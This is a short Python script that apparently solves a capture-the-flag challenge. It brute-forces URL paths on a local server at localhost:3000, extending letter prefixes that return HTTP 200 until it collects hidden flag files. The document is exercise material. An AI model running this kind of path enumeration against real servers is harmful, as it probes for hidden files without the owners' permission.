Solution for a challenge

# Please don't judge my scripting too harshly, I am very sleep deprived.


import requests
import string

BASE_URL = "http://localhost:3000"  # Server URL
ALPHABET = string.ascii_lowercase  # All alphabets
flags = {}  # Dictionary to store the most recent filename for each flag
found_patterns = set()  # Set to track checked patterns
request_count = 0  # Counter to track the number of requests made

def check_pattern(pattern):
    global found_patterns, request_count
    response = requests.get(f"{BASE_URL}/{pattern}")
    request_count += 1

    # Print request count at intervals of 100
    if request_count % 100 == 0:
        print(f"Requests made: {request_count}",end='\r')

    if response.status_code == 200:
        content = response.text.strip()

        if pattern not in found_patterns:
            found_patterns.add(pattern)

            flags[content] = pattern  # Update the dictionary with the most recent pattern for each flag content by overwriting it
        return True
    return False

def brute_force():
    # Step 1: Start with single characters [I did it like this because my brain wasn't working on 2 hours of sleep]
    to_check = list(ALPHABET)

    # Step 2: Iteratively build patterns via extension
    while to_check:
        current_pattern = to_check.pop(0) # Pop off patterns that are being checked

        if check_pattern(current_pattern):
            # Generate new patterns by extending current pattern with each alphabet letter
            for char in ALPHABET:
                new_pattern = current_pattern + char
                if new_pattern not in found_patterns:
                    to_check.append(new_pattern)

            # Also try appending a dot if not already present
            if '.' not in current_pattern:
                dot_pattern = current_pattern + '.'
                if dot_pattern not in found_patterns:
                    to_check.append(dot_pattern)

    # Print final summary with all unique flags and their most recent associated filename
    print("\nSummary of found flags:")
    print(f"Total requests made: {request_count}")
    for content, filename in flags.items():
        print(f"Flag: {content} | Most recent filename: {filename}")

if __name__ == "__main__":
    brute_force()